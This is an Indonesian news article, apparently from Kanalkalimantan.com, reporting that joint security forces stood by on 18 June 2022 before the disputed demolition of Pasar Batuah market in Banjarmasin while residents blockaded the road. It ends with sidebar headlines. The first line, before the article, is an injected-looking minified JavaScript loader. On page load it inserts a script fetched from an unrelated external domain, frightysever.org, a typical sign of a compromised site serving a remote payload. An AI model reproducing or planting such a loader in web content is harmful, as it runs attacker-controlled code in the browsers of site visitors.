(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ratusan Aparat Gabungan Siaga Jelang Eksekusi Pasar Batuah Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Ratusan aparat gabungan dari Polresta Banjarmasin, Satpol PP Banjarmasin, Dishub Banjarmasin, dan Kodim 1007/Banjarmasin, siaga di sekitar lokasi pembongkaran Pasar Batuah, Kelurahan Kuripan, Banjarmasin Timur, Sabtu (18/6/2022) pukul 7.30 Wita.

Petugas Nampak siaga di pertigaan Jl Veteran dan Jl Manggis, sembali menunggu kepastian rencana eksekusi Pasar Batuah dan sejumlah rumah warga yang terdampak area proyek revitalisasi Pasar Batuah senilai Rp 3,5 miliar.

Sementara itu, sejak sekitar pukul 06.00 Wita, warga sudah memblokade jalan guna menghalangi petugas.

Ketua Aliansi Warga Kampung Batuah, Muhammad Syahrian Noor mengatakan, langkah ini dilakukan karena belum adanya putusan pengadilan berkekuatan hukum tetap atas perintah dan di bawah pimpinan ketua Pengadilan Negeri atau sesuai pasal 206,207,208 Rbg.

 

 

Baca juga: Warga Pasar Batuah Blokade Jalan Halangi Pembongkaran Oleh Pemko Banjarmasin

“Kami mempertahan hak kami sebelum adanya keputusan inkrah dari pengadilan yang berkekuatan hukum tetap,” tegasnya.

Meski demikian, ia berharap protes yang dilakukan tetap berlangsung kondusif tanpa ada aksi benturan dengan petugas.

Aparat bersiaga jelang pembongkaran Pasar Batuah Banjarmasin, Sabtu (18/6/2022). Foto: halim

“Warga Kampung Batuah menghormati proses hukum karena perkara ini masih berlangsung di PTUN dan PN Banjarmasin,” katanya.

Sebelumnya, Pengadilan Tata Usaha Negara (PTUN) Banjarmasin sudah mengeluarkan salinan penetapan terkait permintaan Kuasa Hukum Warga Batuah untuk menunda pelaksanaan Surat Keputusan (SK) Walikota Banjarmasin Nomor 109 Tahun 2022.

Dalam surat penundaan tersebut tertulis bahwa, PTUN Banjarmasin menolak permohonan penundaan SK Walikota Banjarmasin Nomor 109 Tahun 2022, tentang program pembangunan strategis Dinas Perdagangan dan Perindustrian (Disperdagin) Kota Banjarmasin tahun 2022, tanggal 7 Januari 2022.

Khusus dalam lampiran nomor 1 program peningkatan sarana distribusi perdagangan pekerjaan pembangunan/revitalisasi pasar Batuah yang bersumber dari dana APBN dan APBD yang dimohonkan para penggugat.(Kanalkalimantan.com/halim)

Reporter: halim
Editor: cell


Risa

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

13 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

13 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

13 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

14 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

14 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

14 jam ago

This website uses cookies.